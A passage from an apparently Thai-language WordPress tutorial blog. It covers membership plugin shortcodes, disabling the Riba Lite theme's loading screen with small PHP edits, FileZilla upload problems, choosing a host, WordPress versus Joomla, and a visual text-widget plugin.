เดียวคือ shortcode ว่า [swpm_registration_form] ซึ่งจะสั่งให้โชว์หน้าลงทะเบียน ตามที่ผมแนะนำข้างต้นคือลบหน้า Join Us ออกแล้วทำลิงค์ไว้ที่เมนูหลัก(หรือเมนูที่คุณต้องการ)แล้วทำลิงค์มาที่หน้านี้แทน หน้า Member Login หน้านี้จะมี shortcode ว่า [swpm_login_form] หมายถึงให้แสดงหน้าล็อกอินสำหรับคนที่มีบัญชีอยู่แล้ว หน้า Password Reset หน้านี้จะมี shortcode ว่า [swpm_reset_form] หมายถึงให้แสดงหน้ารีเซตรหัสผ่านสำหรับคนลืมรหัสผ่าน หน้า Profile หน้านี้จะมี shortcode ว่า [swpm_profile_form] หมายถึงให้แสดงหน้าข้อมูลอื่นๆของสมาชิก (profile) คุณอาจจะทำเป็นลิงค์ไปยังแต่ละหน้าไว้ในเมนูใดก็ได้ ไม่จำเป็นต้องให้หน้า Password Reset และหน้า Profile ไว้ภายใต้หน้า Member Login ตามที่ปลั๊กอินสร้างไว้ให้ก็ได้ สร้าง user ในตอนนี้ผมจะแนะนำให้คุณเข้าใจภาพรวมก่อนเราจะยังไม่สนใจเพจข้างต้น ให้คุณลองสร้างสมาชิกเองด้วยมือโดยเข้าไปที่แท็ป Add member ของ WP Membership แล้วสร้าง user ใหม่เองโดยใส่ข้อมูลที่จำเป็นให้ครบ การเพิ่มสมาชิกใหม่ภายใต้ Simple Membership สถานะของสมาชิกภายใต้ Simple Membership Account Status  สถานะสมาชิก เซตได้ 4 แบบ Active, Inactive, Pending, Expired หมายถึง ใช้งานได้, ใช้งานไม่ได้, แขวนไว้ก่อน, หมดอายุ ตามลำดับ Membership Level ระดับสมาชิก ดูหัวข้อถัดไป Access Starts วันเริ่มอายุสมาชิก เซต profile ของ user ภายใต้ simple membership ตอนที่ 2 ผมจะแนะนำวิธีการสมัครสมาชิกผ่านหน้าเว็บไซต์ ถ้าธุรกิจของคุณไม่รับสมาชิกทั่วไป ผมแนะนำให้ทำด้วยมือตามที่กล่าวมานี้จะสะดวกที่สุด…

แก้ไขธีม Riba Lite ตอนที่ 2

แก้ไขธีม Riba Lite ตอนที่ 2

ต่อจากตอนแรกที่เราแก้ไขธีม WordPress – Riba Lite โดยตรง จุดประสงค์เพื่อกำจัดหน้ารอที่ขึ้นคำว่า LOADING ตอนนี้ก็มีจุดประสงค์เดียวกัน ต่างกันตรงที่เราจะสร้างปุ่มคลิกในเมนู Theme->Customize เพื่อต้องการให้เลือกได้ว่าจะเอาหรือไม่เอาหน้าดังกล่าว ปกติภายใต้ Theme->Customize จะมีเมนูแรกคือ Preloader Options ซึ่งใช้สำหรับเซตเกี่ยวกับหน้า LOADING เมื่อคลิกต่อภายใต้ Preloader Options->General จะเจอหน้านี้ คอร์สปรับแต่งธีม wordpress ซึ่งไม่มีที่ให้คลิกว่าจะเอาหรือไม่เอา (หรืออาจจะทำได้จากเมนูอื่นหรืออาจจะต้องเป็นเวอร์ชัน Pro ก็ไม่รู้ ไม่มีเวลาดูรายละเอียด สมมติว่าไม่มีก็แล้วกัน) เราต้องการเพิ่ม Check box แทรกเข้าไปตามรูป คอร์สอบรมการแก้ไขธีม WordPress ใช้ AceIDE แบบในตอนที่แล้ว เปิดไฟล์ชื่อ preloader.php ตามรูป คอร์สอบรมการแก้ไขธีม WordPress ให้คลิกเมาส์ที่บรรทัดที่ 58 ตามรูป เรากำลังจะแทรก code ไปตรงนี้ การแก้ไขธีม สอน WordPress copy โค๊ดข้างล่างนี้แทรกลงไปที่บรรทัด 58 /* Disable preloader */ $wp_customize->add_setting($prefix.’_disable_preloader’, array( ‘default’ => false, ) ); $wp_customize->add_control( $prefix.’_disable_preloader’, array( ‘type’ => ‘checkbox’, ‘label’ => esc_html__(‘Disable Preloader’, ‘riba-lite’), ‘section’ => $prefix.’_preloader_general_section’, ) ); เราก็จะได้โค๊ดหน้าตาอย่างนี้ คอร์สสอน WordPress และการแก้ไขธีม ขั้นตอนต่อไปให้กลับไปที่ไฟล์ class.mt-preloader-output.php (ใครยังไม่ได้อ่านตอนที่ 1 ให้กลับไปอ่าน) แล้วก๊อปปี้โค้ดข้างล่างนี้ลงไปใต้บรรทัดที่ 44 get_theme_mod(‘riba_lite_disable_preloader’) ? $this->preloader_is_enabled = get_theme_mod(‘riba_lite_enable_site_preloader’, 0) : $this->preloader_is_enabled = get_theme_mod(‘riba_lite_enable_site_preloader’, 1); และบรรทัดที่ 44 ให้ใส่ // ไว้ข้างหน้าตามรูป (หรือลบทิ้ง) อบรมการแก้ไขธีม WordPress เวลาแก้ไขใน AceIDE ทุกขั้นตอนอย่าลืมกดปุ่มบันทึกนะครับ แค่นี้เป็นอันเรียบร้อย ลองไปเมนู Theme->Customize->Preloader Options->General จะเห็นว่ามีกล่อง Disable Preloader ขึ้นมา ซึ่งปกติจะไม่ถูกคลิก ซึ่งหมายความว่าจะขึ้นหน้า LOADING ทุกครั้ง ถ้าเราไม่ต้องการก็ให้คลิกให้มีเครื่องหมายถูก แล้วกดปุ่ม save ก็จะปิดหน้า LOADING อันน่าเกลียดนี้ไป ผลของตอนนี้เหมือนกับตอนที่ 1 ต่างกันตรงที่เราทำเมนูให้เลือกว่าจะเอาหรือไม่เอา ถ้าใครไม่ต้องการอย่างถาวรก็ไม่ต้องทำอะไรตามที่เขียนในตอนนี้ เอาแบบในตอนแรกก็พอ แต่ถ้ารักพี่เสียดายน้องก็ค่อยทำ แต่เขียนไว้ให้กับคนที่ต้องการศึกษาการแก้ไขธีมมากกว่า คุณที่กำลังอยากแก้ไขธีมอื่นก็เอาไอเดียไปใช้ได้ มีอยุู่สองประเด็นที่อยากจะทิ้งท้าย การแก้ไขธีมโดยการดัดแปลงที่ตัวโค้ดของธีมโดยตรงแบบที่เขียนมาสองตอนนี้เป็นสิ่งที่ไม่ควรทำ (อ้าว!) เพราะเมื่อเราอัพเอทธีม สิ่งที่แก้ไขก็จะหายไป การแก้ไขธีมที่ถูกต้องคือการทำเป็นธีมลูกหรือที่ WordPress เรียกว่า child theme อันนี้แล้วจะเขียนเป็นอีกเรื่องหนึ่งการแก้ไขโค้ดของธีมโดยตรงเสี่ยงกับการที่ทำให้ธีมไม่ทำงานและทำให้เว็บไม่โชว์ ซึ่งเป็นอีกเหตุผลหนึ่งที่ควรจะสร้างธีมลูกแล้วแก้ไขธีมจากตรงนั้น เมื่อมีปัญหาจะได้สวิทช์กลับไปที่ธีมแม่ชั่วคราว หาเหตุที่ทำให้ธีมไม่ทำงานในธีมลูก แก้ไขแล้วจึงสวิทช์กลับไปที่ธีมลูกอีกที เพราะฉะนั้นเวลาทำตามขั้นตอนที่เขียนมานี้คุณต้องระมัดระวังอย่างเคร่งครัด ก๊อปปี้ทุกอย่างให้เหมือนกับที่เขียนไว้ สุดท้ายบางคนอาจจะต้องการหน้า LOADING แต่ให้มันขึ้นเป็นตัวหมุนๆหรืออะไรที่มันสวยงามหน่อย อันนี้ก็เป็นเหตุผลอันหนึ่งที่เราควรมีปุ่มสวิทช์เลือกว่าจะเอาหรือไม่เอา ส่วนการแก้ไขให้ขึ้น LOADING เป็นข้อความอื่นหรือรูปเคลื่อนไหวอื่นเอาไว้โอกาสต่อไปครับ

แก้ไขธีม Riba Lite ตอนที่ 1

แก้ไขธีม Riba Lite ตอนที่ 1

ตอนนี้จะมาแนะนำการแก้ไขธีม Riba Lite ซึ่งเป็นธีมในแนว blog สำหรับคนที่ชอบเขียนบทความ ธีมนี้มีข้อเสียอยู่อย่างคือขึ้นหน้าเปล่าๆและมีคำว่า LOADING ขณะกำลังโหลดซึ่งดูน่าเกลียด จุดประสงค์ของบทความนี้คือจะลบหน้าโหลดดิ้งนี้ เท่าที่ดูคร่าวๆในเมนู Appearance -> Customize ไม่มีเมนูให้ปิดหน้าโหลดดิ้งหรือเปลี่ยนไปเป็นรูปอื่น อาจจะมีในเวอร์ชันโปร หรือมีแต่ผมหาไม่เจอ สมมติว่าไม่มีก็แล้วกัน แล้วเราจะปิดมันอย่างไร? เท่าที่ดูคร่าวๆ(อีกครั้ง) อาการนี้แก้ไม่ได้ด้วย CSS (หรืออาจจะได้แต่ต้องออกแรงมากหน่อย) สมมติอีกว่าแก้ไม่ได้ด้วย CSS ก็แล้วกัน สรุปว่าเราจะไปแก้ไขธีมที่ตัวโค้ดของธีมโดยตรง เครื่องมือที่นักแก้ไขธีมมักใช้คือ NotePad++ สำหรับวินโดวส์ หรือ Komodo สำหรับคนที่ใช้ Mac (ซึ่งมีเวอร์ชันสำหรับ Windows และ Linux ด้วย) แต่อันนี้มันอาจดูน่ากลัวไปสำหรับผู้ทำเว็บทั่วไป สมมติว่าเราเป็นชาว blog ธรรมดาจะมีวิธีง่ายกว่านี้ไหม คำตอบคือ “มี” มีปลั๊กอินตัวหนึ่งที่ช่วยให้แก้ไขโค้ด เหมาะสำหรับผู้ที่ต้องการแก้ไขธีมแบบเฉพาะกิจเล็กๆน้อยๆ ชื่อว่า AceIDE ลอง Add เข้าไปเลยครับ อบรมการปรับแต่งธีม wordpress เมื่อติดตั้งเสร็จจะมีเมนู AceIDE เพิ่มขึ้นมา ทางขวามือให้เลือก Themes -> Riba-Lite ไปเรื่อยๆตามรูป จะเจอไฟล์ class.mt-preloader-output.php คลิกที่ไฟล์นี้เพื่อแก้ เรียนการปรับแต่งธีม wordpress เลื่อนไปบรรทัดที่ 44 แล้วแก้จาก $this->preloader_is_enabled = get_theme_mod(‘riba_lite_enable_site_preloader‘, 1); เป็น $this->preloader_is_enabled = get_theme_mod(‘-riba_lite_enable_site_preloader‘, 0); สอนการปรับแต่งธีม wordpress Note : เติม – ไปข้างหน้า riba_lite_enable_site_preloader กับเปลี่ยน 1 เป็น 0 แล้วกดปุ่ม SAVE FILE แค่นี้ ลองเปิดดูใหม่ (ถ้ายังอยู่ให้ refresh หลายๆครั้งเพื่อล้างของเก่าออก) หน้า LOADING อันน่าเกลียดก็จะหายไป ยังมีตอนที่ 2 สำหรับคนที่ต้องการแก้ไขธีมให้มีเมนูในหน้า Appearance -> Customize เพื่อเซตเปิดปิด LOADING ได้โดยตรงโดยไม่ต้องมาแก้ไขธีมที่ตัวโค้ดโดยตรงอย่างนี้

ปัญหาเล็กน้อยจากการอัพโหลดด้วย FileZilla

ปัญหาเล็กน้อยจากการอัพโหลดด้วย FileZilla

FileZilla เป็นเครื่องมือมาตรฐานของผู้พัฒนาเว็บไซต์มาหลายปีแล้วโดยปริยาย สำหรับมือใหม่ที่กำลังเริ่มติดตั้ง WordPress อาจเจอปัญหาเล็กๆน้อยๆ แต่ถ้าไม่สังเกตให้ดีอาจจะทำให้การอัพโหลดไม่สมบูรณ์ นั่นก็คือโปรแกรม WordPress หรือธีมหรือปลั๊กอินอื่นๆไม่ทำงาน ปัญหาพื้นๆก็คือ 1. เมื่ออัพโหลดไฟล์จำนวนมาก (หลักพัน) สักพักโปรแกรมจะขึ้นหน้าจอว่า คลิกตามรูปเมื่อมีหน้าจอนี้ popup ขึ้นมา มักเกิดจากเน็ตหรือ server สะดุดอะไรสักอย่าง ทำให้ FileZilla ไม่แน่ใจว่าไฟล์ที่กำลังจะอัพโหลดนั้นเป็นไฟล์เดิมที่อัพโหลดไปแล้ว แต่ไม่แน่ใจว่าสมบูรณ์หรือไม่ จึงได้ถามให้เรายืนยัน อย่างนี้ให้คลิกที่ Always use this action (Overwrite ข้างบนไม่ต้องไปเปลี่ยน) 2. ถ้าต้องการหยุดการอัพโหลดชั่วขณะ อันนี้ไม่ใช่ปัญหาแต่เป็นเรื่องที่บางคนอาจไม่รู้ เพราะว่าเวลาอัพโหลดก็รอจนกระทั่งมันอัพโหลดเสร็จ บางครั้งเราต้องการหยุดการอัพโหลดไว้ชั่วขณะหรือมีปัญหาเกิดขึ้น (ดูข้อ 3) ให้คลิกขวาที่แถบด้านบนภายใต้แท็บ Queued files แล้วคลิก Process Queues การอัพโหลดจะหยุดพักไว้ แต่คิวการอัพโหลดยังอยู่ ถ้าต้องการทำต่อก็กลับมาคลิกที่ Process Queues อีกครั้ง คลิกเมาส์ขวาเแล้วเลือก Process Queue เพื่อหยุดการอัพโหลด 3. อัพโหลดแล้วมีตัวเลขขึ้นที่ Failed transfers นี่แสดงว่ากระบวนการอัพโหลดมีปัญหา 3.1 ถ้าเริ่มมีตัวเลขขึ้นที่แท็บ Failed transfers แสดงว่ามีไฟล์ที่เริ่มอัพโหลดไม่ได้ และจะเพิ่มขั้นเรื่อยๆ อย่างนี้ให้หยุดการอัพโหลดตามวิธีที่ (2) 3.2 แล้วให้คลิกแท็บ Failed transfers คลิกขวาที่แถบข้างบนตามรูป แล้วเลือก Reset and requeue all 3.3 จำนวนไฟล์ที่อัพโหลดไม่ได้จะกลับไปรวมในแท็บ Queue files แล้วภายใต้แท็บนี้ ให้คลิก Process Queue ต่อ ถ้าตัวเลขใน Failed transfers ยังขึ้นอีก ก็กลับไปทำ 3.(1.2.3) จนกว่าจะครบหมดทุกไฟล์ ถ้ายังขึ้นอีก ให้รอสักพักแล้วค่อยอัพใหม่ เพราะ server อาจ busy หรือถูกเซตไว้ให้ทิ้งช่วงการอัพโหลดติดๆกัน คลิกเมาส์ขวาแล้วเลือก Reset and requeue all เมื่อมีบางไฟล์ที่อัพโหลดไม่ได้ ระวัง !!! ถ้าไฟล์ที่จะอัพมีเยอะ แล้วเกิดปัญหาอย่างนี้ ควรรอและทำให้เสร็จ เพราะถ้าปิด FileZilla ตอนนี้ คิวอาจจะหายไป ต้องกลับมาเริ่มใหม่หมด

เลือกโฮสต์ทำเว็บ WordPress อย่างไรดี

เลือกโฮสต์ทำเว็บ WordPress อย่างไรดี

จะทำเว็บด้วย WordPress จะเลือกโฮสต์อย่างไรดี? เป็นคำถามที่มือใหม่มักจะถาม โดยปกติโฮสต์ทั่วไปจะโปรโมทว่า Plan ต่างๆสามารถใช้ได้กับโอเพนซอร์ซได้ทุกตัว ซึ่งโดยรวมก็เป็นจริงตามนั้น แต่ใช่ว่าจะราบรื่นเหมือนกันหมด โฮสต์ต้องให้บริการหลายๆโปรแกรม ต้องมาทำความเข้าใจกับการที่เว็บโฮสต์ติ้งสักแห่งสามารถใช้ได้ครอบคลุมกับโอเพนซอร์ซทุกตัวก่อน โดยปกติโอเพนซอร์ซแต่ละตัวต้องการการเซตติ้งจากโฮสต์ที่โอเพนซอร์ซนั้นติดตั้งอยู่ต่างกัน เหตุผลหลักก็คือเรื่องความปลอดภัยในการใช้ตัวโอเพนซอร์ซนั้นเอง และโฮสต์ซึ่งให้บริการเช่าพื้นที่เพื่อให้ติดตั้งโอเพนซอร์ซหลากหลายก็คำนึงเรื่องความปลอดภัยของระบบเช่นเดียวกัน มาดูในแง่ของโฮสต์ก่อน โจทย์ของผู้ให้บริการโฮสต์ติ้งคือจะต้องทำให้โฮสต์นั้นสามารถรองรับโอเพนซอร์ซที่เป็นที่นิยมให้ได้มากที่สุด และในขณะเดียวกันก็ต้องมีความปลอดภัยจากการถูกแฮคได้มากที่สุดด้วย นี่เป็นประเด็นสำคัญที่ทำให้โฮสต์ติ้งแต่ละแห่งกำหนดระดับความปลอดภัยไว้แตกต่างกัน ซึ่งมีผลต่อการติดตั้งและใช้งานโอเพนซอร์ซแต่ละตัวไม่เหมือนกัน ปัญหามักเกิดขึ้นเสมอ โอเพนซอร์ซที่ใช้ทำเว็บไซต์ เช่น WordPress, Joomla หรือ Drupal ต่างก็มีสถาปัตยกรรมเป็นของตัวเอง สำหรับ WordPress มีโฟลเดอร์และไฟล์จำนวนหนึ่งที่ต้องการการเซตระดับความปลอดภัยแตกต่างกันไป เช่นไฟล์และโฟลเดอร์ที่เกี่ยวกับระบบก็จะเซตให้อ่านได้อย่างเดียว ไฟล์และโฟลเดอร์ที่เกี่ยวกับการใช้งานก็จะผ่อนปรนลงมา เช่นโฟลเดอร์สำหรับเก็บรูปภาพต่างๆเป็นต้น แล้วโฮสต์โดยทั่วไปมีปัญหาอย่างไรกับ WordPress ? คำตอบคือ “เกือบทั้งหมดจะใช้กับ WordPress ตามที่เขาโฆษณาว่าใช้ได้ ” แต่จะมีปัญหาจุกจิกกับเรื่องการเซตระดับความปลอดภัยของโฟลเดอร์และการอัพโหลดไฟล์ผ่าน FTP ภายในตัว WordPress เอง ซึ่งเรื่องนี้จะเป็นปัญหาสำหรับมือใหม่ที่มีความรู้พื้นฐานทางเทคนิคน้อย รวมทั้งผู้รับออกแบบเว็บไซต์บางรายที่ติดตั้ง WordPress ให้ลูกค้าแล้วก็ไม่ได้ตระหนักปัญหาบางอย่างที่เกิดจากโฮสต์ที่ใช้เซตระดับความปลอดภัยไว้สูงกว่าที่ WordPress ต้องการ (ปลอดภัยไว้ก่อน) ทำให้บางฟีเจอร์ของ WordPress ไม่ทำงานโดยที่(ลูกค้า)ก็ไม่รู้ตัว ติดตั้งไม่ผ่าน ปัญหาคลาสสิคที่มือใหม่มักจะเจอเมื่อเลือกโฮสต์แล้วพออัพโหลด WordPress ขึ้นไปแล้ว พอสั่งรันติดตั้งเจอหน้าที่บอกว่า หน้าจอที่มักเกิดเมื่อ host ตั้งระดับการป้องกันไว้สูง แปลเป็นภาษาไทยว่า “ระบบติดตั้ง WordPress ไม่ได้เพราะไม่สามารถสร้างไฟล์ wp-config.php บนโฮสต์ได้ คุณต้องสร้างไฟล์ wp-config.php เองแล้วคัดลอกข้อความข้างล่างนี้ใส่ลงไปในไฟล์” นี่เป็นตัวอย่างหนึ่งของโฮสต์ที่เซตระดับความปลอดภัยของการเข้าถึงไฟล์(ในกรณีนี้คือสิทธิ์ในการสร้างไฟล์)สูงกว่าสเปคของ WordPress คือโฮสต์ไม่ยอมให้ WordPress สร้างไฟล์ดังกล่าวขึ้นในตำแหน่งที่ต้องการ วิธีแก้ปัญหาก็คือคุณคลิกที่กล่องข้างล่างแล้วกด Crtl+A เพื่อเลือกข้อความในกล่องทั้งหมด(ปกติเมื่อคลิกเมาส์ในกล่องก็เลือกให้โดยอัตโนมัติอยู่แล้ว) จากนั้นกด Ctrl+C เพื่อก็อปปี้ไว้ในคลิปบอร์ด จากนั้นคุณก็เปิดโปรแกรม NotePad++ แล้ว new file แล้วกด Ctrl+V เพื่อคัดลอกข้อมูลลงไป บันทึกไว้ในชื่อ wp-config.php จากนั้นก็อัพโหลดขึ้นไปที่ public_html จากนั้นก็กดปุ่ม Run the Install ซึ่งถ้าไม่ติดตรงอื่นก็น่าจะผ่านตลอด ถามรหัสผ่านทุกครั้งที่มีการติดตั้ง plugin ปัญหา(หรืออาจไม่ใช่ปัญหา)อีกอย่างหนึ่งของโฮสต์ที่ตั้งค่าความปลอดภัยไว้สูงก็คือทุกครั้งที่มีการติดตั้งหรือถอดถอนปลั๊กอินจะถามรหัสผ่านตลอด สำหรับผู้ที่มีเว็บไซต์ลงตัวแล้วนี่อาจไม่ใช่ปัญหา อาจเป็นข้อดีที่เสียอีกถ้าเชื่อว่าการป้องกันไม่ให้ WordPress ใช้ FTP โดยตรงช่วยเพิ่มความปลอดภัยมากขึ้น ไม่ยอมให้มีการส่งอีเมล์อัตโนมัติ นี่เป็นปัญหาที่ไม่น่าจะเป็นปัญหา แต่ต้องยอมรับจริงๆว่ามีโฮสต์หลายแห่งที่บอกว่าใช้กับ WordPress ได้ 100% แต่ไม่ยอมให้มีการส่งอีเมล์อัตโนมัติ ผลก็คือเมื่อลืมรหัสผ่านก็ไม่สามารถขอให้ระบบรีเซตรหัสผ่านใหม่ผ่านอีเมล์ได้ ที่แย่ไปกว่านั้นคือหมดสิทธิ์สำหรับเว็บไซต์อีคอมเมอร์สเพราะไม่สามารถส่งอีเมล์ยืนยันกันได้เมื่อลูกค้าทำการสั่งซื้อ รวมทั้งระบบคอนแทคผ่านแบบฟอร์มชื่อดังอย่าง Contact 7 ก็หมดสิทธิ์ ใช้ plugin บางตัวแล้วเป็นปัญหา การตั้งระดับความปลอดภัยของโฮสต์ที่สูงเกินไปจะทำให้ปลั๊กอินบางตัวที่ต้องการสิทธิ์ในการอ่านเขียนข้อมูลในบางโฟลเดอร์ทำงานไม่ราบรื่น ซึ่งสำหรับผู้มีความรู้ทางด้านเทคนิคก็จะแก้ปัญหาได้ไม่ยาก โดยการเข้าไปเปลี่ยนสิทธิ์ให้ถูกต้อง แต่สำหรับมือใหม่ก็อาจต้องขอคำปรึกษาจากโฮสต์หรือผู้รู้เกี่ยวกับระบบไฟล์ของ Linux เปิดใช้ permalink ไม่ได้ หัวใจของการทำ SEO ของ WordPress คือระบบ permalink ซึ่งเมื่อเซตแล้ว WordPress จะสร้างไฟล์ .htaccess ขึ้นที่โฟลเดอร์ public_html เพื่อเก็บเซตติ้งในการทำ permalink แต่ถ้าโฮสต์ไม่ยอมให้ WordPress สร้างไฟล์โดยอัตโนมัติ คุณจะไม่สามารถเปิด permalink ได้ซึ่งเสียโอกาสในการทำ SEO ซึ่งการแก้ไขก็ต้องเข้าใจเรืื่องเทคนิคเล็กน้อย โดยจะต้องอัพโหลดไฟล์ดังกล่าวด้วยโปรแกรมอื่น เช่น NodePad+ หรือ FileZilla ด้วยตัวเอง ซึ่งก็เป็นปัญหากับมือใหม่เช่นกัน มีระบบติดตั้ง open source ให้อัตโนมัติ การติดตั้ง WordPress หรือ open source ตัวอื่นๆแม้โดยรวมจะดูง่ายแต่ก็มีขั้นตอนเล็กน้อย ในเบื้องต้นคุณควรที่จะเรียนรู้การติดตั้งด้วยตัวเองก่อนเพื่อให้เข้าใจโครงการของซอฟต์แวร์เมื่อมีปัญหาได้มีแนวทางในการแก้ไข เมื่อชำนาญแล้วหากมีการติดตั้งครั้งต่อไปจะด้วยเหตุใดก็ตามจึงเลือกการติดตั้งอัตโนมัติ โฮสต์ในปัจจุบันส่วนใหญ่จะติดตั้งซอฟต์แวร์สำหรับการติดตั้ง open source ต่างๆแบบอัตโนมัติ โดยคุณสามารถคลิกเลือกได้เลยว่าจะติดตั้ง WordPress, Open cart หรือ ERP ซึ่งก่อนซื้อคุณควรจะตรวจสอบคุณสมบัตินี้ของโฮสต์ก่อนให้แน่ใจ สามารถทำ SSL ได้ SSL เป็นส่วนของระบบที่เกี่ยวข้องกับความปลอดภัยในการรับส่งข้อมูลระหว่างเบราเซอร์ของเรากับโฮสต์โดยเฉพาะเวลาที่มีการกรอกแบบฟอร์มเช่นบัตรเครดิต ปกติ SSL จำเป็นสำหรับเว็บไซต์ที่ต้องทำธุรกรรมอย่างเช่นอีคอมเมิร์ซ ซึ่งเว็บไซต์ที่ใช้ระบบ SSL จะขึ้นต้นด้วย https ปกติเมื่อเราซื้อบริการโฮสต์ใหม่ๆเขาจะเซตไว้แบบไม่มี SSL…

WordPress กับ Joomla

WordPress กับ Joomla

มักมีคำถามว่า CMS ตัวใดเป็นที่นิยมสูงสุดในประเทศไทย ถ้าดูจากกระแสบนดินแล้วก็ต้องตอบว่า Joomla แต่ถ้าเป็นกระแสใต้ดินต้องตอบว่า WordPress สังเกตง่ายๆตามแผงหนังสือจะเห็นหนังสือเกี่ยวกับ Joomla นับสิบเล่ม ในขณะที่ WordPress มีเพียงสองสามเล่ม แต่ในช่วงเวลาสองสามปีมานี้ WordPress มีการเติบโตใต้ดินสูงมาก คนรู้จัก WordPress แบบปากต่อปากมากกว่า รวมถึงการเขียนเชียร์ตามเว็บไซต์ต่างๆ จุดเด่นคือติดตั้งได้ง่ายและรวดเร็ว ระบบหลังบ้านดูเรียบง่าย มีธีมสนับสนุนมากมาย ซึ่งก็น่าจะทำให้ WordPress ก้าวขึ้นมาเป็นอันดับหนึ่งในประเทศไทยได้ แต่ก็ไม่มีข้อมูลใดๆที่จะกล่าวเช่นนั้น มักจะกล่าวกันว่า WordPress เหมาะสำหรับมือใหม่ ก็น่าจะจริง เพราะเมื่อเทียบกับ Joomla หรือ Drupal แล้วระบบหลังบ้านง่ายกว่ามาก มือใหม่ดูแล้วไม่รู้สึกกลัว แต่ก็ต้องแลกกับการลดทอนฟีเจอร์บางอย่างที่ Joomla มีให้หลังติดตั้ง จนมีบางคนบอกว่า WordPress ไม่ใช่เครื่องมือทำเว็บไซต์สำหรับมืออาชีพ แต่อันนี้ไม่เป็นความจริง มันเป็นปรัชญาของ WordPress ต่างหากที่ต้องการให้เราเริ่มต้นจากสิ่งที่ง่ายที่สุดเท่าที่จะเป็นไปได้ เมื่อเทียบกับ Joomla หลังการติดตั้ง WordPress ทำอะไรได้น้อยกว่าจริง เราจะต้องติดตั้ง plugin เพิ่มเติม(ถ้าหากต้องการทำบางอย่างที่ Joomla มี) แต่นี่ไม่ใช่ข้อจำกัด แต่มันเป็นปรัชญา การมีฟีเจอร์มากเกินไปหลังการติดตั้งทำให้ผู้ใช้(มือใหม่)สับสนกับเมนูและการเซตค่าต่างๆ(และรู้สึกกลัว) WordPress บอกเราว่าคุณเริ่มต้นเท่าที่คุณต้องการ ถ้าคุณชำนาญแล้วก็ค่อยๆเพิ่มไปเท่าที่จำเป็น ไม่มีความจำเป็นที่จะมีสิ่งที่คุณไม่ได้ใช้อยู่ในระบบ อีกสิ่งหนึ่งที่เป็นที่เลื่องลือของ WordPress ก็คือความเป็นมิตรกับนักออกแบบ ถ้าคุณเป็นกราฟฟิคดีไซเนอร์แล้วต้องการพัฒนาไปเป็นผู้สร้างเว็บไซต์ทั้งระบบ การเรียนรู้ระบบของ WordPress เพื่อสอดแทรกทักษะในการออกแบบของคุณเข้าไปทำได้ง่ายกว่าใช้ตัวอื่น สำหรับนักพัฒนาซอฟต์แวร์ Joomla ถูกพัฒนาขึ้นมาบนหลักการของวิศวกรรมซอฟต์แวร์ร่วมสมัย แต่สำหรับนักพัฒนามือใหม่อาจจะต้องมาขวัญผวากับเทคนิคและศัพท์แสงอย่าง MCV (หลักการในการออกแบบโปรแกรมชนิดหนึ่ง) ซึ่งการจะสร้างส่วนเพิ่มขยาย (หรือ plugin ใน WordPress) เพียงแค่ให้พิมพ์คำว่า Hello world! หน้าจอก็ไม่ใช่เรื่องง่าย ซึ่งสำหรับกิจการทั่วไปแล้ว ก็เท่ากับว่าเป็นต้นทุน(ทั้งค่าแรงและเวลา)ที่เพิ่มมากขึ้น หากคุณคิดจะเริ่มต้น WordPress เป็นทางเลือกที่ดีที่สุด

ปรับแต่ง Text Widget ด้วย Black Studio TinyMCE

ปรับแต่ง Text Widget ด้วย Black Studio TinyMCE

Text Widget เป็นกล่องวิเศษอันหนึ่งของ WordPress เพราะเราสามารถใส่ข้อความใดๆก็ได้ลงไปในกล่องนี้และแสดง ณ ตำแหน่งไซด์บาร์ใดๆที่ต้องการ นอกจากข้อความแล้วเรายังใส่รูปภาพและที่เป็นสุดยอดของ WordPress คือ สามารถใช้ shortcode ของ plugin ใดๆลงไปก็ได้ ข้อเสียอันหนึ่งของ Text Widget คือตัวเอดิเตอร์ธรรมดามาก จริงๆต้องบอกว่าไม่ใช่เอดิเตอร์ด้วยซ้ำ ถ้าใครอยากได้ Text Widget ที่เป็นเอดิเตอร์ ก็ต้องตัวนี้เลย Black Studio TinyMCE Text Widget คืออะไร หน้าตา Text widget สำหรับผู้เริ่มต้นใช้ WordPress ที่ยังไม่รู้จัก Text Widget ก็ขออธิบายเพิ่มเติมเล็กน้อย ปกติ widget คือกล่องสำหรับแสดงอะไรบางอย่าง ซึ่งปกติเมื่อเราลง plugin ก็มักจะมี widget เพิ่มเติมมาให้ ซึ่งเราก็เข้าไปที่ Appearance->Widgets แล้วลาก widget ตัวนั้นไปวางในตำแหน่งไซด์บาร์ที่ต้องการ WordPress มีเทคนิคที่ทรงพลังอันหนึ่งที่เรียกว่า shortcode ซึ่งเป็นรหัสสั้นๆที่อยู่ในรูป [mywidget id=”” param=””] ซึ่งสามารถไปวางในโพสต์หรือเพจเพื่อแสดงอะไรบางอย่าง ณ ตำแหน่งนั้น หากเราต้องการวาง shortcode นอกโพสต์หรือเพจก็ให้ใช้ Text Widget ไปวาง ณ ตำแหน่งที่ต้องการ แล้วภายใน Text Widget ก็ใส่ shortcode ที่ต้องการเข้าไป ข้อเสียของ Text Widget คือใช้สำหรับใส่ข้อความง่ายๆ ไม่สามารถใส่รูปได้ และได้สามารถจัดรูปแบบได้(โดยตรง) เพราะไม่มีระบบเอดิเตอร์ ซึ่งก็คือที่มาของ Black Studio TinyMCE ซึ่งเป็นเอดิเตอร์สำหรับ Text Widget ที่ง่ายที่สุดตัวหนึ่ง การติดตั้ง Plugin ตัวนี้ติดตั้งไปตามปกติ ไม่ต้องเซตใดๆ เมื่อติดตั้งแล้วจะมี widget ชื่อ Visual Editor ซึ่งใช้ได้เหมือนกับ Text Editor ธรรมดาแต่มีฟีเจอร์มากกว่า หน้าตา Visual Editor ก็เป็นทางเลือกหนึ่งในการเขียนโพสต์สั้นๆ(หรือยาวๆ) แบบไม่ต้องไปสร้างเป็นโพสต์ในระบบ WordPress ซึ่งสามารถไปวางในตำแหน่งที่เป็นไซด์บาร์ได้

การใช้งาน WordPress – การสร้าง page

การใช้งาน WordPress – การสร้าง page

